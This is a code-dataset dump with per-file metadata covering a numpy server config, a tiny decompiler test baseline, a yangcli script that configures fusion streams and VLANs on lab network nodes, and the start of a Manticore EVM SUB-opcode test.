hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
648f1c109def9967a3edd309c390b1ad8890f938
| 734
|
py
|
Python
|
server/config.py
|
bu-vip/Full-Scale-Testbed
|
ebd02c598c561d9e4529bb7ce5ffebe200541408
|
[
"MIT"
] | null | null | null |
server/config.py
|
bu-vip/Full-Scale-Testbed
|
ebd02c598c561d9e4529bb7ce5ffebe200541408
|
[
"MIT"
] | null | null | null |
server/config.py
|
bu-vip/Full-Scale-Testbed
|
ebd02c598c561d9e4529bb7ce5ffebe200541408
|
[
"MIT"
] | null | null | null |
import numpy as np
CFG = {
'host': '0.0.0.0',
'port': 9100,
'out_file': 'out.txt',
'state_matrix': np.array([
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0]
])
}
| 30.583333
| 45
| 0.303815
| 176
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| 0.090909
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0
| 11
|
649b2c14154e18c54318960caa56b8212caffbb0
| 16
|
py
|
Python
|
tests/pydecompile-test/decompiler-baselines/codeBlock.py
|
jaydeetay/pxt
|
aad1beaf15edc46e1327806367298cbc942dcbc1
|
[
"MIT"
] | 977
|
2019-05-06T23:12:55.000Z
|
2022-03-29T19:11:44.000Z
|
tests/pydecompile-test/decompiler-baselines/codeBlock.py
|
jaydeetay/pxt
|
aad1beaf15edc46e1327806367298cbc942dcbc1
|
[
"MIT"
] | 3,980
|
2019-05-09T20:48:14.000Z
|
2022-03-28T20:33:07.000Z
|
tests/pydecompile-test/decompiler-baselines/codeBlock.py
|
jaydeetay/pxt
|
aad1beaf15edc46e1327806367298cbc942dcbc1
|
[
"MIT"
] | 306
|
2016-04-09T05:28:07.000Z
|
2019-05-02T14:23:29.000Z
|
x = 1
x = x + 1
| 5.333333
| 9
| 0.3125
| 5
| 16
| 1
| 0.4
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.25
| 0.5
| 16
| 3
| 9
| 5.333333
| 0.375
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|
0
| 7
|
64d93af206b8034734c27b822cd952fce08d0ed3
| 18,515
|
py
|
Python
|
setup-fusion-streams-yangcli/session.testapi.py
|
vlvassilev/ecoc-demo-2018
|
3f813fdff3c2405561b32122bbe3c51c001ff81b
|
[
"BSD-3-Clause"
] | 1
|
2019-03-06T13:52:14.000Z
|
2019-03-06T13:52:14.000Z
|
setup-fusion-streams-yangcli/session.testapi.py
|
vlvassilev/ecoc-demo-2018
|
3f813fdff3c2405561b32122bbe3c51c001ff81b
|
[
"BSD-3-Clause"
] | null | null | null |
setup-fusion-streams-yangcli/session.testapi.py
|
vlvassilev/ecoc-demo-2018
|
3f813fdff3c2405561b32122bbe3c51c001ff81b
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/python
import lxml
from lxml import etree
import time
import sys, os
import argparse
from collections import namedtuple
import tntapi
sys.path.append("../common")
import testsuiteapi
import yangrpc
from yangcli import yangcli
namespaces={"nc":"urn:ietf:params:xml:ns:netconf:base:1.0",
"nd":"urn:ietf:params:xml:ns:yang:ietf-network",
"if":"urn:ietf:params:xml:ns:yang:ietf-interfaces",
"netconf-node":"urn:tntapi:netconf-node"}
def yangcli_ok_script(yconn, yangcli_script):
for line in yangcli_script.splitlines():
line=line.strip()
if not line:
continue
print("Executing: "+line)
result = yangcli(yconn, line)
ok=result.xpath('./ok')
if(len(ok)!=1):
print lxml.etree.tostring(result)
assert(0)
def validate_step_1(before, after):
mylinks = tntapi.parse_network_links(before)
t1 = tntapi.parse_network_nodes(before)
t2 = tntapi.parse_network_nodes(after)
delta = tntapi.get_network_counters_delta(before,after)
testsuiteapi.print_state(before, after)
print("#1.2 - Validate no counters are being incremented.")
for node in {"local", "remote"}:
for if_name in {"xe0", "ge15", "ge0"}:
interface = delta[node][if_name]
for v in dir(interface):
if not v[0].startswith('_') and not v=='count' and not v=='index':
value = getattr(interface,v)
if(value!=None and value!=0):
print node + ":" + if_name + "." + v + "=" + str(value)
assert(0)
def step_1(network, conns, yconns, filter=filter):
#Delete all
result=yangcli(yconns["local"], "delete /fusion-streams")
result=yangcli(yconns["remote"], "delete /fusion-streams")
tntapi.network_commit(conns)
yangcli_script_local='''
create /fusion-streams/drop-and-forward[in-port='n0'][filter-rule='matched-tpid'] -- priority=gst filter/tpid=88F7 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1 forward/pop-vlan-tag=false drop[out-port='e0']/pop-vlan-tag=true drop[out-port='e1']/pop-vlan-tag=true drop[out-port='e2']/pop-vlan-tag=true drop[out-port='e3']/pop-vlan-tag=true drop[out-port='e4']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n0'][filter-rule='unmatched'] -- priority=sm push-vlan-tag/vlanid=200 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1 forward/pop-vlan-tag=false
create /fusion-streams/aggregation[in-port='e0']/sm -- out-port=n1 push-vlan-tag/vlanid=10 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e1']/sm -- out-port=n1 push-vlan-tag/vlanid=11 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e2']/sm -- out-port=n1 push-vlan-tag/vlanid=12 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e3']/sm -- out-port=n1 push-vlan-tag/vlanid=13 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e4']/sm -- out-port=n1 push-vlan-tag/vlanid=14 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e5']/sm -- out-port=n1 push-vlan-tag/vlanid=15 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e6']/sm -- out-port=n1 push-vlan-tag/vlanid=16 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e7']/sm -- out-port=n1 push-vlan-tag/vlanid=17 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e8']/sm -- out-port=n1 push-vlan-tag/vlanid=18 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e9']/sm -- out-port=n1 push-vlan-tag/vlanid=19 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e0']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e1']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e2']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e3']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e4']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e5']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e6']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e7']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e8']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/aggregation[in-port='e9']/gst -- out-port=n0 filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='100'] -- priority=gst filter/tpid=9100 forward/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='200'] -- priority=sm filter/tpid=9100 forward/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='10'] -- priority=sm filter/tpid=9100 drop[out-port='e0']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='11'] -- priority=sm filter/tpid=9100 drop[out-port='e1']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='12'] -- priority=sm filter/tpid=9100 drop[out-port='e2']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='13'] -- priority=sm filter/tpid=9100 drop[out-port='e3']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='14'] -- priority=sm filter/tpid=9100 drop[out-port='e4']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='15'] -- priority=sm filter/tpid=9100 drop[out-port='e5']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='16'] -- priority=sm filter/tpid=9100 drop[out-port='e6']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='17'] -- priority=sm filter/tpid=9100 drop[out-port='e7']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='18'] -- priority=sm filter/tpid=9100 drop[out-port='e8']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='19'] -- priority=sm filter/tpid=9100 drop[out-port='e9']/pop-vlan-tag=true
'''
yangcli_script_remote='''
create /fusion-streams/drop-and-forward[in-port='n0'][filter-rule='matched-tpid'] -- priority=gst filter/tpid=88F7 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1 forward/pop-vlan-tag=false
create /fusion-streams/drop-and-forward[in-port='n0'][filter-rule='unmatched'] -- priority=sm push-vlan-tag/vlanid=200 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1 forward/pop-vlan-tag=false
create /fusion-streams/aggregation[in-port='e0']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e1']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e2']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e3']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e4']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e5']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e6']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e7']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e8']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e9']/gst -- filter/ether-type=88F7 filter/tpid=88F7 filter/vlanid=1 out-port=n1 push-vlan-tag/vlanid=100 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e0']/sm -- out-port=n1 push-vlan-tag/vlanid=10 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e1']/sm -- out-port=n1 push-vlan-tag/vlanid=11 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e2']/sm -- out-port=n1 push-vlan-tag/vlanid=12 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e3']/sm -- out-port=n1 push-vlan-tag/vlanid=13 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e4']/sm -- out-port=n1 push-vlan-tag/vlanid=14 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e5']/sm -- out-port=n1 push-vlan-tag/vlanid=25 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e6']/sm -- out-port=n1 push-vlan-tag/vlanid=26 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e7']/sm -- out-port=n1 push-vlan-tag/vlanid=27 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e8']/sm -- out-port=n1 push-vlan-tag/vlanid=28 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/aggregation[in-port='e9']/sm -- out-port=n1 push-vlan-tag/vlanid=29 push-vlan-tag/pcp=0 push-vlan-tag/tpid=9100 push-vlan-tag/cfi=1
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='100'] -- priority=gst filter/tpid=9100 drop[out-port='e0']/pop-vlan-tag=true drop[out-port='e1']/pop-vlan-tag=true drop[out-port='e2']/pop-vlan-tag=true drop[out-port='e3']/pop-vlan-tag=true drop[out-port='e4']/pop-vlan-tag=true forward/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='200'] -- priority=sm filter/tpid=9100 forward/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='10'] -- filter/tpid=9100 priority=sm drop[out-port='e0']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='11'] -- filter/tpid=9100 priority=sm drop[out-port='e1']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='12'] -- filter/tpid=9100 priority=sm drop[out-port='e2']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='13'] -- filter/tpid=9100 priority=sm drop[out-port='e3']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='14'] -- filter/tpid=9100 priority=sm drop[out-port='e4']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='25'] -- filter/tpid=9100 priority=sm drop[out-port='e5']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='26'] -- filter/tpid=9100 priority=sm drop[out-port='e6']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='27'] -- filter/tpid=9100 priority=sm drop[out-port='e7']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='28'] -- filter/tpid=9100 priority=sm drop[out-port='e8']/pop-vlan-tag=true
create /fusion-streams/drop-and-forward[in-port='n1'][filter-rule='29'] -- filter/tpid=9100 priority=sm drop[out-port='e9']/pop-vlan-tag=true
'''
yangcli_script_middle='''
replace /vlans/vlan -- name=trunk id=500 tpid=0x9100
replace /interfaces/interface -- name='xe0' type=ethernetCsmacd
replace /interfaces/interface[name='xe0']/ethernet-switching/trunk-interface/vlans/vlan/vlan-name value=trunk
replace /interfaces/interface -- name='xe1' type=ethernetCsmacd
replace /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan/vlan-name value=trunk
replace /hadm/forward-unmatched-packets value=true
replace /vlans/vlan -- name=vlan10 id=10 tpid=0x9100
replace /vlans/vlan -- name=vlan11 id=11 tpid=0x9100
replace /vlans/vlan -- name=vlan12 id=12 tpid=0x9100
replace /vlans/vlan -- name=vlan13 id=13 tpid=0x9100
replace /vlans/vlan -- name=vlan14 id=14 tpid=0x9100
replace /vlans/vlan -- name=vlan15 id=15 tpid=0x9100
replace /vlans/vlan -- name=vlan16 id=16 tpid=0x9100
replace /vlans/vlan -- name=vlan17 id=17 tpid=0x9100
replace /vlans/vlan -- name=vlan18 id=18 tpid=0x9100
replace /vlans/vlan -- name=vlan19 id=19 tpid=0x9100
replace /vlans/vlan -- name=vlan20 id=20 tpid=0x9100
replace /vlans/vlan -- name=vlan21 id=21 tpid=0x9100
replace /vlans/vlan -- name=vlan22 id=22 tpid=0x9100
replace /vlans/vlan -- name=vlan23 id=23 tpid=0x9100
replace /vlans/vlan -- name=vlan24 id=24 tpid=0x9100
replace /vlans/vlan -- name=vlan25 id=25 tpid=0x9100
replace /vlans/vlan -- name=vlan26 id=26 tpid=0x9100
replace /vlans/vlan -- name=vlan27 id=27 tpid=0x9100
replace /vlans/vlan -- name=vlan28 id=28 tpid=0x9100
replace /vlans/vlan -- name=vlan29 id=29 tpid=0x9100
create /interfaces/interface -- name='ge0' type=ethernetCsmacd
create /interfaces/interface -- name='ge1' type=ethernetCsmacd
create /interfaces/interface -- name='ge2' type=ethernetCsmacd
create /interfaces/interface -- name='ge3' type=ethernetCsmacd
create /interfaces/interface -- name='ge4' type=ethernetCsmacd
create /interfaces/interface -- name='ge5' type=ethernetCsmacd
create /interfaces/interface -- name='ge6' type=ethernetCsmacd
create /interfaces/interface -- name='ge7' type=ethernetCsmacd
create /interfaces/interface -- name='ge8' type=ethernetCsmacd
create /interfaces/interface -- name='ge9' type=ethernetCsmacd
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan20
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan21
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan22
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan23
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan24
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan25
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan26
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan27
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan28
create /interfaces/interface[name='xe1']/ethernet-switching/trunk-interface/vlans/vlan -- vlan-name=vlan29
create /interfaces/interface[name='ge0']/ethernet-switching/access-interface/vlan -- vlan-name=vlan20
create /interfaces/interface[name='ge1']/ethernet-switching/access-interface/vlan -- vlan-name=vlan21
create /interfaces/interface[name='ge2']/ethernet-switching/access-interface/vlan -- vlan-name=vlan22
create /interfaces/interface[name='ge3']/ethernet-switching/access-interface/vlan -- vlan-name=vlan23
create /interfaces/interface[name='ge4']/ethernet-switching/access-interface/vlan -- vlan-name=vlan24
create /interfaces/interface[name='ge5']/ethernet-switching/access-interface/vlan -- vlan-name=vlan25
create /interfaces/interface[name='ge6']/ethernet-switching/access-interface/vlan -- vlan-name=vlan26
create /interfaces/interface[name='ge7']/ethernet-switching/access-interface/vlan -- vlan-name=vlan27
create /interfaces/interface[name='ge8']/ethernet-switching/access-interface/vlan -- vlan-name=vlan28
create /interfaces/interface[name='ge9']/ethernet-switching/access-interface/vlan -- vlan-name=vlan29
'''
yangcli_ok_script(yconns["local"], yangcli_script_local)
yangcli_ok_script(yconns["remote"], yangcli_script_remote)
yangcli_ok_script(yconns["middle"], yangcli_script_middle)
tntapi.network_commit(conns)
state_before = tntapi.network_get_state(network, conns, filter=filter)
time.sleep(5)
state_after = tntapi.network_get_state(network, conns, filter=filter)
validate_step_1(state_before, state_after)
def main():
print("""
#Description: Setup fusion streams
#Procedure:
#1 - Load the fusion streams configuration on the local and remote h100.
#1.1 - Validate all analyzer interfaces have oper-status=up.
#1.2 - Validate no counters are being incremented.
""")
parser = argparse.ArgumentParser()
parser.add_argument("--config", help="Path to the netconf configuration *.xml file defining the configuration according to ietf-networks, ietf-networks-topology and netconf-node models e.g. ../networks.xml")
args = parser.parse_args()
tree=etree.parse(args.config)
network = tree.xpath('/nc:config/nd:networks/nd:network', namespaces=namespaces)[0]
conns = tntapi.network_connect(network)
yconns = tntapi.network_connect_yangrpc(network)
mylinks = tntapi.parse_network_links(network)
filter = testsuiteapi.get_filter()
print("#Running ...")
print("#1 - Load the fusion streams configuration on the local and remote h100.")
step_1(network, conns, yconns, filter=filter)
sys.exit(main())
| 75.264228
| 420
| 0.758196
| 3,096
| 18,515
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| 0.076873
| 0.087137
| 0.107025
| 0.085849
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| 0.830949
| 0.753398
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| 0.641437
| 0.640149
| 0
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| 0.066811
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| 421
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| 0.750376
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| 0.877752
| 0.494023
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| 0.009756
| 0
| null | null | 0
| 0.04878
| null | null | 0.039024
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
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| 1
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|
0
| 9
|
b3caaf13e9511fbcc0362c8ff4ac9929aa1fc0a1
| 96,775
|
py
|
Python
|
tests/EVM/test_EVMSUB.py
|
ivanpustogarov/manticore
|
f17410b8427ddbd5d751d8824bdf10ce33c9f3ce
|
[
"Apache-2.0"
] | null | null | null |
tests/EVM/test_EVMSUB.py
|
ivanpustogarov/manticore
|
f17410b8427ddbd5d751d8824bdf10ce33c9f3ce
|
[
"Apache-2.0"
] | null | null | null |
tests/EVM/test_EVMSUB.py
|
ivanpustogarov/manticore
|
f17410b8427ddbd5d751d8824bdf10ce33c9f3ce
|
[
"Apache-2.0"
] | 1
|
2018-08-12T17:29:11.000Z
|
2018-08-12T17:29:11.000Z
|
import struct
import unittest
import json
from manticore.platforms import evm
from manticore.core import state
from manticore.core.smtlib import Operators, ConstraintSet
import os
class EVMTest_SUB(unittest.TestCase):
_multiprocess_can_split_ = True
maxDiff=None
def _execute(self, new_vm):
last_returned = None
last_exception = None
try:
new_vm.execute()
except evm.Stop as e:
last_exception = "STOP"
except evm.NotEnoughGas:
last_exception = "OOG"
except evm.StackUnderflow:
last_exception = "INSUFICIENT STACK"
except evm.InvalidOpcode:
last_exception = "INVALID"
except evm.SelfDestruct:
last_exception = "SUICIDED"
except evm.Return as e:
last_exception = "RETURN"
last_returned = e.data
except evm.Revert:
last_exception = "REVERT"
return last_exception, last_returned
